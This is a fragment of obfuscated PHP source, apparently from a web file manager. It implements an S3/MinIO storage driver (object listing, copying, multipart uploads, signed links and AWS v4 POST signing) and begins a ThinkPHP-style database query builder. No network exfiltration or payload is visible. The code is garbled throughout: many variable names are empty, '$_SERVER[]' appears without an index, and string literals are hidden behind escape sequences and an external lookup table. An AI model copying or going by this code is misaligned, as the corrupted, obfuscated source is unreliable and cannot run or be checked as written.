$ݪ++) { $ȿͫ = $䊪 . "\50{$ݪ}\51{$ج}"; if (!in_array_not_case($ȿͫ, $˦)) { return $ȿͫ; } } return $ȿͫ; } public function listAllFiles($ʌ, $ɜ) { $ =& $_SERVER[]; if (empty($ɜ)) { return array(); } $ = array_keys($ɜ); $ = array(); $ʌ = trim($ʌ, $[8]); foreach ($ɜ as $ο => $) { $я = ltrim(substr(trim($ο, $[8]), strlen($ʌ)), $[8]); if (substr($ο, -1) == $[8]) { $я = rtrim($я, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($я)); } $⎥ = array(); foreach (array_unique($) as $廢ʴ) { $ = array($[87] => $this->getPathOuter($[8] . $ʌ . $[8] . $廢ʴ), $[78] => 1, $[79] => 0); if (substr($廢ʴ, -1) != $[8]) { $[$[78]] = 0; $ԥ = $this->getPath($ʌ . $[8] . $廢ʴ); if (isset($ɜ[$ԥ])) { $ = $ɜ[$ԥ]; if (isset($[$[79]])) { $[$[79]] = intval($[$[79]]); } if (isset($[$[206]])) { $[$[88]] = intval($[$[206]]); } } } $⎥[] = $; } return $⎥; } public function slicePath($) { $ϼ =& $_SERVER[]; $ɚ = explode($ϼ[8], trim($, $ϼ[8])); $ަ = 0; do { ++$ަ; $俉[] = implode($ϼ[8], array_slice($ɚ, 0, $ަ)) . $ϼ[8]; } while ($ަ < count($ɚ)); $俉[count($ɚ) - 1] = $; return $俉; } public function getHost() { $ڸ =& $_SERVER[]; $ = parse_url(trim($this->domain, $ڸ[8])); $ = isset($[$ڸ[207]]) ? $[$ڸ[207]] : http_type(); $ = isset($[$ڸ[208]]) ? $[$ڸ[208]] : $[$ڸ[87]]; if (isset($[$ڸ[209]])) { $ .= $ڸ[4] . $[$ڸ[209]]; } return $ . $ڸ[210] . $; } public function pathEncode($) { $ݬ =& $_SERVER[]; return str_replace($ݬ[211], $ݬ[8], rawurlencode($)); } public function writeLog($څ = '', $ޗ͙ = false) { $Ρ =& $_SERVER[]; $Ґ = in_array(ACTION, array($Ρ[212], $Ρ[213])); if (!$Ґ && !GLOBAL_DEBUG) { return; } $Έ = $څ; static $Ҥߙ = null; if (!$Ҥߙ) { $Ҥߙ = strtoupper($this->getType()); } $څ = $Ҥߙ . $Ρ[214] . $څ; if ($ޗ͙) { $ = error_get_last(); if ($) { $څ = array($څ, $); } } write_log($څ, $Ρ[215]); if ($Ґ) { throw new Exception($Έ); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($Á) { set_timeout(); require_once SDK_DIR . $_SERVER[][216]; parent::__construct(); $this->_init($Á); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $ع) { if (isset($this->{$})) { $this->{$} = $ع; } } $this->endpoint = $[$[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($[212], $[213]))) { $this->client->setExceptions(); } } public function setSignVersion($֠ = "\166\x34") { $this->signVer = $֠; $this->client->setSignatureVersion($֠); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $Ԩ) { return null; } } public function isBucketCors() { $¿ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$¿[218]])) { $[$¿[218]] = explode($¿[50], $[$¿[218]]); } if ($[$¿[219]] != $¿[220] || !in_array($¿[220], $[$¿[218]])) { return !1; } $ӭʒ = array_map($¿[221], $[$¿[222]]); if (!is_array($ӭʒ)) { $ӭʒ = array(); } $ѯ = array($¿[223], $¿[224], $¿[225], $¿[226], $¿[227]); $ʪġ = array_diff($ѯ, $ӭʒ); return empty($ʪġ); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($ܶ, $ר = '', $ = REPEAT_RENAME) { $ߨȠ = $this->setContent($ܶ, $ר); if ($ߨȠ !== !1) { return $this->getPathOuter($ܶ); } return !1; } public function mkdir($ͳߝ, $ۮ = REPEAT_SKIP) { $俕 =& $_SERVER[]; if (empty($ͳߝ) && $ͳߝ !== $俕[228]) { return !1; } if ($ۮ && $this->_isFolder($ͳߝ)) { return $this->getPathOuter($ͳߝ); } $ = $this->setContent($ͳߝ, $俕[12], !0); if ($ !== !1) { return $this->getPathOuter($ͳߝ); } return !1; } public function copyFile($˱, $͔, $ܭ = array()) { $٢Ԟ =& $_SERVER[]; $ϧܑ = $this->objectMeta($˱); if (!$ϧܑ) { return !1; } if ($ϧܑ[$٢Ԟ[79]] <= 1024 * 1024 * 200) { $ߌ = $this->client->copyObject($this->bucket, $˱, $this->bucket, $͔, $٢Ԟ[229], $ܭ); } else { $ߌ = $this->client->multiCopyObject($this->bucket, $˱, $this->bucket, $͔, $ܭ); } $ߌ = $ߌ ? $this->getPathOuter($͔) : !1; return $ߌ; } public function moveFile($, $ჶ) { if ($this->copyFile($, $ჶ)) { $this->delFile($); return $this->getPathOuter($ჶ); } return !1; } public function delFile($ƭ) { return $this->client->deleteObject($this->bucket, $ƭ); } public function delFolder($ե㇋) { $ =& $_SERVER[]; if (!$this->exist($ե㇋)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ե㇋); $this->listItemCache = !0; $ = trim($ե㇋, $[8]) . $[8]; if (!empty($ե㇋) && $ե㇋ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ખ = $this->delByBatch($[$[86]]); if (!$ખ) { return !1; } $ખ = $this->delByBatch($[$[85]]); if (!$ખ) { return !1; } return $this->delFile($); } private function delByBatch($ب) { foreach (array_chunk($ب, 1000) as $˨) { $ȼ = $this->client->deleteObjects($this->bucket, $˨); if (!$ȼ) { return !1; } } return !0; } public function rename($, $ٕ) { return $this->renameObject($, $ٕ); } public function listPath($螩, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($螩, $[8], !0); foreach ($[$[85]] as $К => $) { $[$[85]][$К] = $this->folderInfo($, $, $); } foreach ($[$[86]] as $К => $) { $[$[86]][$К] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$ŧ) { $ή =& $_SERVER[]; $ = $this->fileList($, $ή[12], !0); $ŧ[$ή[81]] += count($[$ή[85]]); $ŧ[$ή[80]] += count($[$ή[86]]); foreach ($[$ή[86]] as $ڎƋ) { if (!$ڎƋ || !$ڎƋ[$ή[79]]) { continue; } $ŧ[$ή[79]] += $ڎƋ[$ή[79]]; } } private function fileInfo($Ș, $ءɜ = false, $܇ = array()) { $ο =& $_SERVER[]; $Ǣ = array($ο[32] => $this->pathThis($Ș), $ο[87] => $this->getPathOuter($Ș), $ο[33] => $ο[230], $ο[169] => $this->ext($Ș), $ο[79] => isset($܇[$ο[79]]) ? $܇[$ο[79]] : 0); if ($ءɜ) { return $Ǣ; } $Ǣ[$ο[231]] = $Ǣ[$ο[88]] = 0; $Ǣ[$ο[232]] = $Ǣ[$ο[233]] = !0; if (empty($܇)) { $܇ = $this->objectMeta($Ș); if (!$܇) { return $Ǣ; } } if (isset($܇[$ο[234]]) && $܇[$ο[234]]) { $Ǣ[$ο[235]] = $܇[$ο[234]]; } if (isset($܇[$ο[206]])) { $Ǣ[$ο[88]] = $܇[$ο[206]]; } if (isset($܇[$ο[79]])) { $Ǣ[$ο[79]] = $܇[$ο[79]]; } return $Ǣ; } private function folderInfo($, $ = false, $ͪ = array()) { $ª =& $_SERVER[]; $Ѯ = array($ª[32] => $this->pathThis($), $ª[87] => $this->getPathOuter($ª[8] . $), $ª[33] => $ª[78]); if ($) { return $Ѯ; } $Ѯ[$ª[231]] = $Ѯ[$ª[88]] = 0; $Ѯ[$ª[232]] = $Ѯ[$ª[233]] = !0; if ($ == $ª[12]) { return $Ѯ; } if (empty($ͪ)) { $ͪ = $this->objectMeta(trim($, $ª[8]) . $ª[8]); } if (isset($ͪ[$ª[206]])) { $Ѯ[$ª[231]] = $ͪ[$ª[206]]; } return $Ѯ; } private function fileList($σո, $ = '', $ۉ = 0) { $䳊 =& $_SERVER[]; $ѽ = rtrim($σո, $䳊[8]) . $䳊[8]; $ = $this->listObjs($ѽ, null, null, $); if (!$) { return array($䳊[85] => array(), $䳊[86] => array()); } $ꠝ = $ٞ = array(); foreach ($[$䳊[236]] as $) { $ԇ = $[$䳊[32]]; if ($ԇ == $ѽ) { continue; } $ώН = isset($[$䳊[79]]) ? $[$䳊[79]] : 0; $ֆ = $ώН == 0 && substr($ԇ, strlen($ԇ) - 1, 1) == $䳊[8] ? !0 : !1; $this->cacheMethodInfoSet($ԇ, $ֆ, $); if ($ֆ) { $ꠝ[] = $ԇ; continue; } $ٞ[] = $ۉ ? $ : $ԇ; } foreach ($[$䳊[237]] as $) { $ꠝ[] = $[$䳊[32]]; $this->cacheMethodInfoSet($[$䳊[32]], !0); } $this->cacheMethodInfoSet($σո, !0); return array($䳊[85] => $ꠝ, $䳊[86] => $ٞ); } private function listObjs($ϣ, $ˑأ = null, $ = null, $ = null) { $ˠ҃ =& $_SERVER[]; $ϣ = trim($ϣ, $ˠ҃[8]); $Ż = empty($ϣ) && $ϣ !== $ˠ҃[228] ? $ˠ҃[12] : $ϣ . $ˠ҃[8]; return $this->client->getBucket($this->bucket, $Ż, $ˑأ, $, $, !0); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $ = null; $ޣ = 500; $Ϝ = $[8]; $ = $ = array(); while (!0) { $Ƀ = $this->listObjs($, $, $ޣ, $Ϝ); if (!$Ƀ) { break; } $ = $Ƀ[$[238]]; $ = $Ƀ[$[236]]; $ = $Ƀ[$[237]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$[32]] == $) { break; } if ($) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if ($ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $̝ =& $_SERVER[]; $竄 = $this->fileList($, $̝[12], !0); $篟Í = array_to_keyvalue($竄[$̝[86]], $̝[32]); foreach ($竄[$̝[85]] as $ˈ) { if (is_string($ˈ)) { $篟Í[$ˈ] = array($̝[79] => 0); } } return $this->listAllFiles($, $篟Í); } public function canRead($) { $ =& $_SERVER[]; $䔖 = $this->client->getAccessControlPolicy($this->bucket, $); if (!$䔖) { return !1; } return in_array($䔖, array($[241], $[242], $[243])) ? !0 : !1; } public function canWrite($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[241], $[242])) ? !0 : !1; } public function getContent($ދ) { return $this->client->getObject($this->bucket, $ދ); } public function setContent($, $Թ = '', $ދ = false) { $Ń =& $_SERVER[]; $ = $ދ ? trim($, $Ń[8]) . $Ń[8] : $; $̊ = get_file_mime(get_path_ext($)); $Ӳ̀ = $this->client->putObject($Թ, $this->bucket, $, $Ń[229], array(), $̊); if (!$Ӳ̀) { return !1; } if ($ދ) { return !0; } return $Ӳ̀ ? !0 : !1; } public function fileSubstr($, $̝܄, $) { $⠿ = $̝܄ + $ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[][244] => "\142\x79\164\x65\163\x3d{$̝܄}\x2d{$⠿}")); } public function upload($ܠ, $ɽ, $ޜ֯ = false, $Ԟ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = array($[245] => @md5_file($ɽ)); $ˆȖ = array($[246] => get_file_mime(get_path_ext($ܠ))); if (IO::size($ɽ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($ɽ, $this->bucket, $ܠ, $[229], $, $ˆȖ); return !empty($) ? $this->getPathOuter($ܠ) : !1; } $ = $this->client->multiUploadObject($ɽ, $this->bucket, trim($ܠ, $[8]), $, $ˆȖ); return $ ? $this->getPathOuter($ܠ) : !1; } public function download($ր, $֘) { if (!@is_dir($this->pathFather($֘)) && !IO::mkdir($this->pathFather($֘))) { return !1; } $ = $this->client->getObject($this->bucket, $ր, array(), $֘); return $ !== !1 ? $֘ : !1; } public function link($ϋ͵, $ = array()) { $϶ =& $_SERVER[]; if ($this->signVer == $϶[247]) { return $this->client->getAuthenticatedURL($this->bucket, $ϋ͵, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ϋ͵, $϶[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($쎮, $ = false, $՛̶ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($쎮, $, $՛̶, $); } if (!$՛̶) { $՛̶ = $this->pathThis($쎮); } $Ր = get_file_mime(get_path_ext($՛̶)); if ($Ր == $[248]) { return parent::fileOut($쎮, $, $՛̶, $); } $ = array($[249] => $Ր); if ($) { $[$[250]] = $[251] . rawurlencode($՛̶); } else { } $ѫ = $this->link($쎮, $); $this->fileOutLink($ѫ); } public function fileOutServer($ޏ, $ێ = false, $ɸɟ = false, $ξ = '') { parent::fileOut($ޏ, $ێ, $ɸɟ, $ξ); } public function fileOutImageServer($, $ț = 250) { parent::fileOutImage($, $ț); } public function hashMd5($Ҿ, $Ǜ = '') { $Կ = $this->objectMeta($Ҿ); if (!$Կ) { return !1; } $Ǜ = $Ǜ ? $Ǜ : _get($Կ, $_SERVER[][252]); return $Ǜ; } public function uploadFormData($, $疀 = 3600) { $۽ =& $_SERVER[]; $ذ = $this->pathFather($); $ѩ = $this->client->getHttpUploadPostParams($this->bucket, $ذ, $۽[229], $疀); return array_merge((array) $ѩ, array($۽[208] => $this->getHost())); } public function multiUploadFormData($é, $ٳ = 3600) { $ =& $_SERVER[]; $ = gmdate($[253]); $ = array(); $ = $this->client->getUploadId($this->bucket, $é, $); if (!$) { return !1; } return array($[254] => $, $[208] => $this->getHost() . $[8] . $this->pathEncode($é), $[255] => $, $[97] => $é); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[255]]) ? $[$[255]] : gmdate($[253]); $݆ = isset($[$[169]]) ? $[$[169]] : $[12]; $ = $[$[97]]; unset($[$[97]]); if (isset($[$[256]])) { $[$[255]] = $; return $this->listUploadParts($, $); } $ծ = array($[257], $[12], $[123], $[12], "\x78\55\x61\x6d\x7a\55\144\x61\164\145\72{$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $݆); if (strpos($݆, $[258]) === 0) { $ծ[0] = $[259]; } if (isset($[$[260]]) && $[$[260]] == $[261]) { $ծ[0] = $[261]; } $ = implode($[262], $ծ); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[264] . $this->accessKey . $[4] . $; if (strpos($݆, $[258]) === 0) { return array($[265] => $, $[255] => $); } return $; } public function listUploadParts($, $ = array()) { $؊ =& $_SERVER[]; $ֺ = str_replace($؊[266], $؊[12], $[$؊[169]]); $Ĺ = $this->client->listParts($this->bucket, $, $ֺ); if (!$Ĺ) { return !1; } unset($[$؊[256]], $[$؊[260]]); $[$؊[97]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($؊[265] => $, $؊[255] => $[$؊[255]], $؊[267] => $Ĺ); } public function getHost() { $ޗ =& $_SERVER[]; $ް = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($ޗ[70], $ޗ[64], $ޗ[69], $ޗ[62]))) { return $ް . $ޗ[8] . $this->bucket; } $ް = explode($ޗ[210], $ް); return $ް[0] . $ޗ[210] . $this->bucket . $ޗ[10] . $ް[1]; } public function size($ږȶ) { $¨ۍ = $this->objectMeta($ږȶ); return $¨ۍ ? $¨ۍ[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($օ) { return $this->isFile($օ) || $this->isFolder($օ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($܈) { return $this->cacheMethod($_SERVER[][179], $܈); } protected function objectMeta($ϵ) { return $this->cacheMethod($_SERVER[][181], $ϵ); } protected function _objectMeta($߀) { $ =& $_SERVER[]; $߀ = rtrim($߀, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $߀); if (!isset($[$[252]]) && isset($[$[268]])) { $[$[252]] = $[$[268]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[236]])) { return !1; } $ջ = $[$[236]][0][$[32]]; return stripos($ջ, $ . $[8]) === 0 ? !0 : !1; if (substr($ջ, -1) == $[8]) { return !0; } if (get_path_this($ջ) == get_path_this($)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ꖔ) { $瞑 =& $_SERVER[]; parent::__construct($ꖔ); $this->setSignVersion($瞑[247]); if (!$this->region) { $this->region = $瞑[269]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $Ղ = $this->getBucketRgn(); return $this->region == $Ղ ? !0 : !1; } public function uploadFormData($, $䫷 = 3600) { $ֲ =& $_SERVER[]; $ = $ֲ[229]; $Ϫ = $ֲ[270]; $ = $ֲ[62]; $NJ = gmdate($ֲ[271]); $ = gmdate($ֲ[272]); $Ț = $ֲ[273]; $ = $䫷 . $ֲ[12]; $і = $ֲ[274]; $ę = array($this->accessKey, $, $this->region, $, $Ț); $ = implode($ֲ[8], $ę); $ˢ = array($ֲ[275] => gmdate($ֲ[276], strtotime($ֲ[277])), $ֲ[278] => array(array($ֲ[279] => $this->bucket), array($ֲ[280] => $), array($ֲ[281], $ֲ[282], $ֲ[12]), array($ֲ[281], $ֲ[283], $ֲ[12]), array($ֲ[281], $ֲ[284], $ֲ[12]), array($ֲ[285] => $і), array($ֲ[286] => $), array($ֲ[287] => $Ϫ), array($ֲ[288] => $NJ), array($ֲ[289] => $))); $ǰ帵 = base64_encode(json_encode($ˢ)); $Ҷ = hash_hmac($ֲ[290], $, $ֲ[291] . $this->secret, !0); $ = hash_hmac($ֲ[290], $this->region, $Ҷ, !0); $ = hash_hmac($ֲ[290], $, $, !0); $ = hash_hmac($ֲ[290], $Ț, $, !0); $﹒ = hash_hmac($ֲ[290], $ǰ帵, $); $ = array($ֲ[246] => $ֲ[12], $ֲ[292] => $ֲ[12], $ֲ[280] => $, $ֲ[285] => $і, $ֲ[293] => $ǰ帵, $ֲ[294] => $, $ֲ[295] => $Ϫ, $ֲ[296] => $NJ, $ֲ[297] => $, $ֲ[298] => $﹒, $ֲ[208] => $this->getHost()); return $; } } goto bȠ; bѪ: class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $問 = parent::query($); CacheLock::fileUnLock($[13]); return $問; } public function execute($) { $ܦ͞ =& $_SERVER[]; if (!CacheLock::fileLock($ܦ͞[13])) { return !1; } $ˈ = parent::execute($); CacheLock::fileUnLock($ܦ͞[13]); return $ˈ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\x69\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\75", "\x6e\x65\161" => "\x3c\76", "\x67\x74" => "\76", "\x65\147\x74" => "\x3e\75", "\154\164" => "\x3c", "\145\154\164" => "\74\x3d", "\x6e\157\164\154\x69\153\145" => "\116\117\124\40\x4c\111\x4b\105", "\x6c\151\x6b\145" => "\114\111\x4b\x45", "\x69\156" => "\111\116", "\x6e\x6f\164\151\156" => "\116\x4f\124\x20\x49\x4e", "\156\157\164\x20\151\156" => "\x4e\117\124\40\x49\116", "\x62\x65\x74\167\x65\x65\156" => "\x42\x45\x54\x57\105\105\x4e", "\156\157\164\142\145\x74\x77\145\145\156" => "\x4e\117\124\40\x42\x45\x54\127\105\x45\116", "\156\x6f\164\x20\x62\145\x74\x77\x65\145\156" => "\x4e\x4f\x54\x20\102\105\124\127\105\105\x4e"); protected $selectSql = "\x53\x45\x4c\x45\103\124\45\x44\x49\123\x54\x49\116\103\x54\45\40\45\106\111\x45\114\x44\x25\40\106\x52\x4f\115\x20\45\124\101\102\114\105\45\45\112\x4f\x49\116\x25\x25\127\110\x45\x52\105\x25\45\x47\122\x4f\125\120\x25\45\x48\x41\126\x49\116\107\45\45\117\x52\x44\105\x52\45\x25\x4c\111\115\111\124\45\x20\x25\125\x4e\x49\117\x4e\x25\x25\x43\117\x4d\115\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1031], $); } public function factory($ό = '') { $Ԏ =& $_SERVER[]; $ό = $this->parseConfig($ό); if (empty($ό[$Ԏ[1032]])) { think_exception(think_lang($Ԏ[1033])); } $this->dbType = ucwords(strtolower($ό[$Ԏ[1032]])); $ċ = $Ԏ[1034] . $this->dbType; if (class_exists($ċ)) { $ = new $ċ($ό); if ($Ԏ[1035] != strtolower($ό[$Ԏ[1032]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($ό[$Ԏ[987]]); } } else { think_exception(think_lang($Ԏ[1036]) . $Ԏ[1037] . $ċ); } return $; } public function __call($, $㊬) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $㊬); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ϖ = strtoupper(trim($[0])); return $ϖ; } private function parseConfig($ = '') { $ʕ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($ʕ[1032] => $[$ʕ[1038]], $ʕ[959] => $[$ʕ[1039]], $ʕ[960] => $[$ʕ[1040]], $ʕ[957] => $[$ʕ[1041]], $ʕ[958] => $[$ʕ[1042]], $ʕ[21] => $[$ʕ[1043]], $ʕ[987] => $[$ʕ[1044]], $ʕ[17] => isset($[$ʕ[1045]]) ? $[$ʕ[1045]] : array()); } elseif (empty($)) { if (think_config($ʕ[1046]) && $ʕ[1035] != strtolower(think_config($ʕ[1047]))) { $ = $this->parseDSN(think_config($ʕ[1046])); } else { $ = array($ʕ[1032] => think_config($ʕ[1047]), $ʕ[959] => think_config($ʕ[1048]), $ʕ[960] => think_config($ʕ[1049]), $ʕ[957] => think_config($ʕ[1050]), $ʕ[958] => think_config($ʕ[1051]), $ʕ[21] => think_config($ʕ[323]), $ʕ[987] => think_config($ʕ[1046]), $ʕ[17] => think_config($ʕ[1052])); } } return $; } protected function initConnect($舧 = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($舧); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $Й) { $this->_linkID = $Й; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($煤 = false) { $ȃ =& $_SERVER[]; static $ = array(); static $ꈃƮ = -1; if (empty($)) { foreach ($this->config as $ѳ => $) { $[$ѳ] = explode($ȃ[50], $); } } if (think_config($ȃ[1053])) { if ($煤 || think_config($ȃ[471]) === !0) { $ = floor(mt_rand(0, think_config($ȃ[1054]) - 1)); $ꈃƮ = $; } else { if (is_numeric(think_config($ȃ[1055]))) { $ = think_config($ȃ[1055]); } else { $ = floor(mt_rand(think_config($ȃ[1054]), count($[$ȃ[957]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$ȃ[957]]) - 1)); $ꈃƮ = $; } $ = $ꈃƮ !== -1 ? $ꈃƮ : $; $ԏ = array($ȃ[959] => isset($[$ȃ[959]][$]) ? $[$ȃ[959]][$] : $[$ȃ[959]][0], $ȃ[960] => isset($[$ȃ[960]][$]) ? $[$ȃ[960]][$] : $[$ȃ[960]][0], $ȃ[957] => isset($[$ȃ[957]][$]) ? $[$ȃ[957]][$] : $[$ȃ[957]][0], $ȃ[958] => isset($[$ȃ[958]][$]) ? $[$ȃ[958]][$] : $[$ȃ[958]][0], $ȃ[21] => isset($[$ȃ[21]][$]) ? $[$ȃ[21]][$] : $[$ȃ[21]][0], $ȃ[987] => isset($[$ȃ[987]][$]) ? $[$ȃ[987]][$] : $[$ȃ[987]][0], $ȃ[17] => isset($[$ȃ[17]][$]) ? $[$ȃ[17]][$] : $[$ȃ[17]][0]); return $this->connect($ԏ, $); } public function parseDSN($) { $ǫ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$ǫ[207]]) { $ף = array($ǫ[1032] => $[$ǫ[207]], $ǫ[959] => isset($[$ǫ[662]]) ? $[$ǫ[662]] : $ǫ[12], $ǫ[960] => isset($[$ǫ[1056]]) ? $[$ǫ[1056]] : $ǫ[12], $ǫ[957] => isset($[$ǫ[208]]) ? $[$ǫ[208]] : $ǫ[12], $ǫ[958] => isset($[$ǫ[209]]) ? $[$ǫ[209]] : $ǫ[12], $ǫ[21] => isset($[$ǫ[87]]) ? substr($[$ǫ[87]], 1) : $ǫ[12]); } else { preg_match($ǫ[1057], trim($), $ہ); $ף = array($ǫ[1032] => $ہ[1], $ǫ[959] => $ہ[2], $ǫ[960] => $ہ[3], $ǫ[957] => $ہ[4], $ǫ[958] => $ہ[5], $ǫ[21] => $ہ[6]); } $ף[$ǫ[987]] = $ǫ[12]; return $ף; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1058]; if (think_config($[1059])) { think_status($[1060]); think_trace($this->queryStr . $[1061] . think_status($[24], $[1060], 6) . $[1062], $[12], $[1063]); } } protected function parseLock($Ǚ = false) { $ְ =& $_SERVER[]; if (!$Ǚ) { return $ְ[12]; } if ($ְ[989] == $this->dbType) { return $ְ[1064]; } return $ְ[1065]; } protected function parseSet($) { $洹 =& $_SERVER[]; foreach ($ as $㽳 => $ۺ) { if (is_array($ۺ) && $洹[373] == $ۺ[0]) { $溟[] = $this->parseKey($㽳) . $洹[506] . $ۺ[1]; } elseif (is_scalar($ۺ) || is_null($ۺ)) { $溟[] = $this->parseKey($㽳) . $洹[506] . $this->parseValue($ۺ); } } return $洹[1066] . implode($洹[50], $溟); } protected function bindParam($й, $ͽ) { $this->bind[$_SERVER[][4] . $й] = $ͽ; } protected function parseBind($Ï) { $Ï = array_merge($this->bind, $Ï); $this->bind = array(); return $Ï; } function parseKey(&$, $ͮ = true) { if ($ͮ) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($ǰ) { $ =& $_SERVER[]; $ǰ = trim($ǰ); if (!preg_match($[1067], $ǰ)) { think_exception($[1068] . $ǰ); } return $ǰ; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1028] . $this->escapeString($) . $[1028]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[373]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1029]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[228]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($) { $݇ =& $_SERVER[]; if (is_string($) && strpos($, $݇[50])) { $ = explode($݇[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $Ѫǰ) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $݇[1069] . $this->parseKey($Ѫǰ); } else { $[] = $this->parseKey($Ѫǰ); } } $Ŷ = implode($݇[50], $); } elseif (is_string($) && !empty($)) { $Ŷ = $; } else { $Ŷ = $݇[220]; } return $Ŷ; } protected function parseTable($Ҳ) { $ =& $_SERVER[]; if (is_array($Ҳ)) { $ׅ = array(); foreach ($Ҳ as $ђ => $) { if (!is_numeric($ђ)) { $ׅ[] = $this->parseKey($ђ) . $[53] . $this->parseKey($); } else { $ׅ[] = $this->parseKey($ђ); } } $Ҳ = $ׅ; } elseif (is_string($Ҳ)) { if (strstr($Ҳ, $[53])) { return $Ҳ; } $Ҳ = explode($[50], $Ҳ); array_walk($Ҳ, array($this, $[977])); } return $[971] . trim(implode($[1070], $Ҳ), $[461]) . $[971]; } protected function parseWhere($) { $܈ =& $_SERVER[]; $Ȑ = $܈[12]; if (is_string($)) { $Ȑ = $; } else { $ = isset($[$܈[1071]]) ? strtoupper($[$܈[1071]]) : $܈[12]; if (in_array($, array($܈[1072], $܈[1073], $܈[1074]))) { $ = $܈[53] . $ . $܈[53]; unset($[$܈[1071]]); } else { $ = $܈[1075]; } foreach ($ as $뮡 => $ԇ) { $Ȑ .= $܈[354]; if (is_numeric($뮡)) { $뮡 = $܈[1076]; } if (0 === strpos($뮡, $܈[11])) { $Ȑ .= $this->parseThinkWhere($뮡, $ԇ); } else { if (!preg_match($܈[1077], trim($뮡))) { 